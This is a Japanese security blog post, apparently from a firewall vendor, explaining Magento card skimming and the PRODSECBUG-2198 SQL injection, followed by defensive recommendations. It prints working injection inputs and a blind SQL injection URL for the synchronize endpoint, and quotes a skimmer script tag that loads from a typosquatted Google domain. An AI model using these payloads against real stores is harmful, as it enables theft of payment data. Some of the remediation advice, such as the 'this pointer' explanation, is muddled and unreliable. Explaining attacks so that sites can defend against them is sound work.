Magentoカードスキミング攻撃の仕組みと安全な対策方法を徹底解説

Magentoカードスキミングとは、「スキマー」と呼ばれる悪意あるスクリプトをMagentoサイトに注入し、クレジットカードやデビットカードの情報を不正に窃取する攻撃手法です。Magentoでサイトを運営している方にとって、この記事は必読の内容となっています。Magentoカードスキミングに関するセキュリティ問題の全体像を、必要な情報を網羅してわかりやすく解説します。

本記事では、まずMagentoカードスキミングの概要と、それがMagentoサイトに与える影響（実証コード付き）について説明します。さらに、自社サイトをこの脅威から守るための具体的かつ実用的な対策もご紹介します。それでは早速見ていきましょう。

関連記事：MagentoストアにおけるMagecart攻撃とは？その防止策を徹底解説

Magentoカードスキミングとは？

MagentoはPHPベースのオープンソースECプラットフォームです。現在はAdobeが所有するセルフホスティング型のCMSであり、世界で約25万以上のサイトがECサイト構築に利用しています。これらのサイトには米国の大手EC企業が多く含まれており、Magentoには顧客体験を守るという大きな責任が課されています。

一方、カードスキミングとは、物理的なスキミング装置を使ってクレジットカードやデビットカードの情報を不正に複製する行為を指します。では、Magentoとカードスキミングはどのように結びついたのでしょうか。

Magentoカードスキミングは「Webスキミング」の一種で、攻撃者が第三者のスクリプトを通じてMagento上の決済情報を盗み出す手口です。このスクリプトにより、カード名義人の氏名、カード番号、CVV番号、有効期限といった重要な金融情報が窃取されます。ハッカーは通常、こうした情報を闇市場で売却することで利益を得ています。

PRODSECBUG-2198脆弱性について

PRODSECBUG-2198の問題は2018年11月9日にBugcrowd上で初めて報告されました。これはMagentoにおいてSQLインジェクションを可能にする脆弱なコードです。この脆弱性により、認証されていないユーザーでも任意のコードを実行でき、機密情報の漏洩につながります。

まもなくこのバグはP1（最優先度）に分類されました。Bugcrowdの定義によると、P1脆弱性とは権限昇格を引き起こしうるものです。つまり、低い権限を持つユーザーが管理者権限へ昇格できるほか、リモートコード実行や金銭的窃取なども可能になります。このエクスプロイトの対象となったMagentoのバージョンは以下の通りです。

• Magento Commerce 1.14.4.1未満
• Magento Open Source 1.9.4.1未満
• Magento 2.1.17未満
• Magento 2.2.8未満
• Magento 2.3.1未満

「Google」を名乗るスキマーの手口

近年確認されたMagentoスキミング事例では、ハッカーが偽のGoogleドメインを利用して決済情報を盗む手口が使われていました。この攻撃では、google-analytîcs.com（xn--google-analytcs-xpb.com）というドメインから悪意のあるJavaScriptが読み込まれていました。

よく見ると、これは正規のGoogleドメインの文字を似た記号に置き換えたもの（タイポスクワッティング）です。つまり、このスキミング攻撃はフィッシングを手段として機密的な決済情報を取得しています。使用されたスクリプトは次のようなものでした。

<script type="text/javascript" src="//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js"></script>

このスキマーは、読み込まれたJavaScriptとdocument.getElementsByTagNameを用いてデータを収集します。開発者ツールが開いていない場合、窃取したデータは偽Googleドメインへ送信されます。

一方、開発者ツールが開いている場合は奇妙な挙動を見せます。送信を検知して途中で停止するのです。また、この挙動はブラウザソフトウェアによって異なることが知られています。

Magentoカードスキミング：概念実証（PoC）

このセキュリティ脆弱性に関する概念実証（Proof of Concept）はPythonで記述されており、Magentoカードスキミングを引き起こす主要な仕組みが含まれています。

• まず、ランダムなURLとセッションデータを使ってダミーのブラウザセッションを作成します。Browserクラスとセッション取得関数を使用して行われます。
• セッション情報を含むBrowserクラスのオブジェクトがSQLインジェクションクラスに渡されます。
• SQLインジェクション処理は、セッションURLにペイロードデータを追加し、商品を作成した後、サイトのデータベースから重要な情報を取得します。ペイロードを改変すれば、バックエンドデータへの特権アクセスを得ることも可能です。
• 攻撃者はユーザーの最近の取引履歴や銀行情報を入手できます。

エクスプロイトはどのようにMagentoサイトに侵入するのか？

Magentoのコードベースは約200万行のPHPコードで構成されており、監査や脆弱性の探索は非常に骨の折れる作業です。しかし、倫理的ハッカーのチームがコードを調査した結果、ORMおよびデータベース管理を担う部分に的を絞ることができました。

Magentoカードスキミングのバグが存在していた箇所は以下の2点です。

1. prepareSqlCondition関数内の脆弱性

この公開関数はデータベースを扱う主要クラスの1つに含まれており、
MagentoFrameworkDBAdapterPdoMysql
に配置されています。

エクスプロイトの仕組み

マークされた行に注目して、脆弱性の動作を理解しましょう。[1]の行では、$conditionKeyMapによって条件エイリアスがパターンに関連付けられます。30〜35行目のロジックに基づき、33行目の_prepareQuotedSqlCondition()関数が、エイリアス内のすべての「?」文字を指定値の引用符付きバージョンに置き換えます。次のコード例を見てください。

<?php

$db->prepareSqlCondition('username', ['regexp' => 'my_value']);

=> $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";

=> $query = "username REGEXP 'my_value'";

問題が生じるのは、30行目で「from」と「to」条件を組み合わせて使用した場合です。このコードのロジックは、フィールドがある範囲内に含まれることを保証します。理解を深めるために、次のコード断片を見てみましょう。

<?php

$db->prepareSqlCondition('price', [

'from' => '100'

'to' => '1000'

]);

$query = "price >= '100' AND price <= '1000'";

実行ロジック上、両方の条件が存在する場合は、まず「from」が処理され、その後に「to」が処理されます。ところが38行目に重大なミスがあります。「from」が生成したクエリがそのままフォーマットに使われてしまうのです。

すべての「?」が指定値に置き換えられるため、「from」の値の中に疑問符が含まれていると、それは「to」に割り当てられた値の引用符付きバージョンで置き換えられてしまいます。有効なSQLインジェクション攻撃を実行するために、攻撃者は次のようなエクスプロイトコードを仕込めます。

<?php

$db->prepareSqlCondition('price',[

'from' => 'x?'

'to' => ' OR 1=1 -- -'

]);

-> $query = "price >= 'x' OR 1=1 -- -'' AND price <= ' OR 1=1 -- -'"

一見ごく小さなミスですが、非常に大きな影響をもたらしかねません。驚くことに、このコードはMagentoバージョン1.xの時代から存在し続けていたのです。

2. Synchronizeクラスのexecute関数内の脆弱性

もう1つの脆弱性は、次の場所にあるexecute関数で発見されました。
MagentoCatalogControllerProductFrontendActionSynchronize

セキュリティ問題が明らかになったPHPソースコードは以下の通りです。

<?php

public function execute()

{

$resultJson = $this->jsonFactory->create();

try {

$productsData = $this->getRequest()->getParam('ids',[]);

$typeId = $this->getRequest()->getParam('type_id',null);

$this->synchronizer->syncActions($productsData, $typeId);

} catch (Exception $e) {

$resultsJson->setStatusHeader(

ZendHttpResponse::STATUS_CODE_400,

ZendHttpAbstractMessage::VERSION_11,

'Bad Request'

);

}

return $resultsJson->setData([]);

最終的にバグへ至るコールスタックは以下のようになっています。

<?php

$productsData = $this->getRequest()->getParam('ids', []);

$this->synchronizer->syncActions($productsData, $typeId);

 

$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));

 

$this->_translateCondition($field, $condition);

 

$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);

 

$this->getConnection()->prepareSqlCondition($fieldName, $condition);

この脆弱なコードはMagento v2.2.0以降に存在します。Magentoカードスキミングに関連する、認証不要のブラインドSQLインジェクションを引き起こすサンプルURLは次の通りです。

https://magento2website.com/catalog/product_frontend_action/synchronize?

type_id=recently_products&

ids[0][added_at]=&

ids[0][product_id][from]=?&

ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -

データベースから情報を読み取れる状態になると、攻撃者は管理者アカウントの認証情報を抽出し、それを使って管理画面へ侵入できます。さらに、ユーザーデータベースや取引データベースから銀行情報などの金融データを盗み出すことも可能です。攻撃者はこうした情報を悪用し、EC詐欺、フィッシング、さらにはボイシング（音声フィッシング）といったサイバー犯罪を実行しかねません。また、あなたのサイトにマルウェアを設置される可能性もあり、ECプラットフォームにおける企業の評判を大きく損なう恐れがあります。検索エンジンからブラックリストに登録されれば、オーガニックトラフィックの減少にも直結します。

Magentoカードスキミングからサイトを守るには？

ここまでMagentoカードスキミングの仕組みを詳しく見てきました。続いて、今後この種の攻撃からサイトを保護する方法を解説します。

1. prepareSqlInjection関数のサニタイズ

   prepareSqlInjection関数のセキュリティバグを取り除くには、コードを次のように書き換えます。

   $query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);

   thisポインタ経由で値を参照することで、攻撃者がバックエンドデータへ直接アクセスするのを防げます。ポインタ変数の活用はデータ抽象化を可能にし、許可された関数だけがデータへアクセスできるようにします。

2. 入力データのバリデーション

   Magentoベースのサイトのどのページで受け付ける入力値も、バックエンド処理に渡す前に必ず検証しましょう。適切な関数や妥当なロジックによるバリデーションを行い、抜け穴のないものにしてください。サイト管理者は、安全で脆弱性の少ないコードを書くことを開発者に義務付けるべきです。

3. 最新版への更新で安全確保

   Magentoサイトで使用しているすべてのプラグインは、常に最新バージョンにアップデートしておきましょう。顧客とユーザーに安全な体験を提供できます。ハッカーは古いプラグインで稼働するサイトを狙いがちで、マルウェアを仕込まれてサイト速度の低下やブラックリスト登録につながる恐れがあります。

4. セキュリティ監査の実施

   サイトのセキュリティ監査を徹底的に行い、既存のセキュリティホールがないか確認しましょう。Magentoユーザーの全アカウントを見直し、見覚えのないアカウントは削除します。潜在的な脆弱性やコーディング上の欠陥を洗い出すには、VAPT（脆弱性診断・ペネトレーションテスト）を専門業者に依頼するのも有効です。

5. セキュリティ異常の即時報告

   ユーザーデータベースや取引データベースにセキュリティ侵害の痕跡を発見した場合は、決済代行会社、顧客、会社のステークホルダーなど関係者に速やかに連絡し、緊急事態への対応を進めてください。セキュリティ侵害を放置してはなりません。

6. 共有ホスティングのリスクに注意

   共有ホスティングを利用している場合は、バックアップと強化されたセキュリティのプラン購入を検討しましょう。セキュリティ管理者またはサイト管理者として、ホスティング事業者に連絡し、同一サーバー上で稼働している他のサイトについて把握しておくことも大切です。安さだけを追求してビジネスのオンライン上の評判を危険にさらさないようにしてください。共有ホスティングのセキュリティリスクについては、Astraブログの過去記事で詳しく解説しています。

7. データ暗号化

   サイトのデータベースに保存するデータは、強力な暗号化方式で保護しましょう。攻撃者がユーザーの個人情報や組織の戦略的情報へ侵入するのを大幅に困難にできます。

8. XSS攻撃経路の修正

   本記事ではXSSについては詳述しませんが、Magentoの決済ゲートウェイページはPHPベースのフォームで構成されているため、$_SERVER["PHP_SELF"]攻撃を防ぐためにhtmlspecialchars()関数を使用することが重要です。

9. ファイアウォールの導入

   Webアプリケーションファイアウォール（WAF）の導入も、サイトのセキュリティ強化に有効な手段です。Astra Firewallはサイトを常時監視するシステムで、24時間365日、迫りくる脅威を検知・ブロックします。さらに、攻撃の試みごとに学習・進化し、次の攻撃へより強固に備えられるよう設定されます。

Magentoのセキュリティ問題に関する他の記事は、こちらをご覧ください。

この記事がお役に立ちましたら、Facebook、Twitter、LinkedInでお友達にもぜひシェアしてください。